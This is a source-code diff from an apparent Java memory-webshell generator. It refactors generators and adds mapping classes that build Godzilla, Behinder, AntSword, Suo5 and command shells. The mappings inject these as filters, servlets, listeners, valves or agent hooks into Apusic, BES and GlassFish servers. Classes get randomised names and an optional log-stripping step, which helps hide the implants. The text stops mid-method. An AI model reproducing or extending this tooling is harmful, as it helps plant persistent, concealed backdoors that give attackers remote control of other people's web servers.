import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -48,13 +48,13 @@ public class AntSwordGenerator {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(Map.of(
|
||||
"pass", antSwordConfig.getPass(),
|
||||
"headerName", antSwordConfig.getHeaderName(),
|
||||
"headerValue", antSwordConfig.getHeaderValue()
|
||||
))
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("pass", antSwordConfig.getPass());
|
||||
put("headerName", antSwordConfig.getHeaderName());
|
||||
put("headerValue", antSwordConfig.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
||||
|
||||
+8
-8
@@ -4,15 +4,15 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -51,13 +51,13 @@ public class BehinderGenerator {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(Map.of(
|
||||
"pass", md5Key,
|
||||
"headerName", behinderConfig.getHeaderName(),
|
||||
"headerValue", behinderConfig.getHeaderValue()
|
||||
))
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("pass", md5Key);
|
||||
put("headerName", behinderConfig.getHeaderName());
|
||||
put("headerValue", behinderConfig.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("pass")).value(md5Key)
|
||||
|
||||
+8
-4
@@ -4,13 +4,13 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -38,8 +38,12 @@ public class CommandGenerator {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (config.getShellType().startsWith(Constants.AGENT)) {
|
||||
builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
|
||||
if (config.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("paramName", shellConfig.getParamName());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
|
||||
}
|
||||
|
||||
+10
-10
@@ -4,7 +4,7 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
@@ -12,7 +12,7 @@ import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -52,15 +52,15 @@ public class GodzillaGenerator {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(Map.of(
|
||||
"pass", godzillaConfig.getPass(),
|
||||
"key", md5Key,
|
||||
"md5", md5,
|
||||
"headerName", godzillaConfig.getHeaderName(),
|
||||
"headerValue", godzillaConfig.getHeaderValue()
|
||||
))
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("pass", godzillaConfig.getPass());
|
||||
put("key", md5Key);
|
||||
put("md5", md5);
|
||||
put("headerName", godzillaConfig.getHeaderName());
|
||||
put("headerValue", godzillaConfig.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
||||
|
||||
+62
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
|
||||
import java.util.Collections;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/22
|
||||
*/
|
||||
public class ListenerGenerator {
|
||||
|
||||
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, ShellTool shellTool) {
|
||||
Class<?> targetClass = null;
|
||||
switch (shellTool) {
|
||||
case Suo5:
|
||||
targetClass = Suo5Listener.class;
|
||||
break;
|
||||
case Godzilla:
|
||||
targetClass = GodzillaListener.class;
|
||||
break;
|
||||
case Behinder:
|
||||
targetClass = BehinderListener.class;
|
||||
break;
|
||||
case AntSword:
|
||||
targetClass = AntSwordListener.class;
|
||||
break;
|
||||
case Command:
|
||||
targetClass = CommandListener.class;
|
||||
break;
|
||||
default:
|
||||
throw new IllegalArgumentException("Unknown shell tool: " + shellTool);
|
||||
}
|
||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
|
||||
.redefine(targetClass)
|
||||
.name(newClassName)
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("getResponseFromRequest"),
|
||||
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
|
||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
|
||||
.make()) {
|
||||
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -4,13 +4,13 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
@@ -41,12 +41,12 @@ public class Suo5Generator {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = builder.visit(
|
||||
new LdcReAssignVisitorWrapper(Map.of(
|
||||
"headerName", suo5Config.getHeaderName(),
|
||||
"headerValue", suo5Config.getHeaderValue()
|
||||
))
|
||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||
put("headerName", suo5Config.getHeaderName());
|
||||
put("headerValue", suo5Config.getHeaderValue());
|
||||
}})
|
||||
);
|
||||
} else {
|
||||
builder = builder
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
|
||||
+1
-1
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.bsh;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
-6
@@ -1,12 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.el;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
+1
-1
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
+1
-1
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.groovy;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.jexl;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
+1
-1
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.jinjava;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
+1
-1
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.jxpath;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.mvel;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.ognl;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.rhino;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
+1
-1
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.spel;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
+1
-1
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.packer.velocity;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public abstract class AbstractShell {
|
||||
|
||||
private final Map<ShellTool, ToolMapping> map = new LinkedHashMap<>();
|
||||
|
||||
public AbstractShell() {
|
||||
init();
|
||||
}
|
||||
|
||||
/**
|
||||
* 定义注入器映射
|
||||
*
|
||||
* @return 注入器映射
|
||||
*/
|
||||
abstract InjectorMapping getShellInjectorMapping();
|
||||
|
||||
protected void addToolMapping(ShellTool shellTool, ToolMapping mapping) {
|
||||
map.put(shellTool, mapping);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化方法,用来定义 shellToolMapping 填充 map
|
||||
*/
|
||||
abstract void init();
|
||||
|
||||
|
||||
/**
|
||||
* 获取内存马功能所支持的注入类型列表
|
||||
*
|
||||
* @param shellTool 内存马功能
|
||||
* @return shellTypes
|
||||
*/
|
||||
public List<String> getSupportedShellTypes(ShellTool shellTool) {
|
||||
ToolMapping toolMapping = map.get(shellTool);
|
||||
if (toolMapping == null) {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
return toolMapping.getSupportedShellTypes();
|
||||
}
|
||||
|
||||
public Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||
ToolMapping mapping = map.get(shellTool);
|
||||
if (mapping == null) {
|
||||
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
|
||||
}
|
||||
Map<String, Pair<Class<?>, Class<?>>> shellClassMap = mapping.getShellClassMap(getShellInjectorMapping());
|
||||
return shellClassMap.get(shellType);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class ApusicShell extends AbstractShell {
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||
.addInjector(LISTENER, ApusicListenerInjector.class).build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla)).build());
|
||||
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, CommandServlet.class)
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command)).build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, BehinderServlet.class)
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder)).build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5)).build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword)).build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.bes.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.bes.injector.*;
|
||||
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class BesShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, BesFilterInjector.class)
|
||||
.addInjector(LISTENER, BesListenerInjector.class)
|
||||
.addInjector(VALVE, BesValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void init() {
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
.addShellClass(FILTER, CommandFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command))
|
||||
.addShellClass(VALVE, CommandValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(FILTER, GodzillaFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla))
|
||||
.addShellClass(VALVE, GodzillaValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
.addShellClass(FILTER, BehinderFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder))
|
||||
.addShellClass(VALVE, BehinderValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
.addShellClass(FILTER, Suo5Filter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5))
|
||||
.addShellClass(VALVE, Suo5Valve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
.addShellClass(FILTER, AntSwordFilter.class)
|
||||
.addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword))
|
||||
.addShellClass(VALVE, AntSwordValve.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||
.addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||
.build());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
public class GlassFishShell extends AbstractShell {
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
try {
|
||||
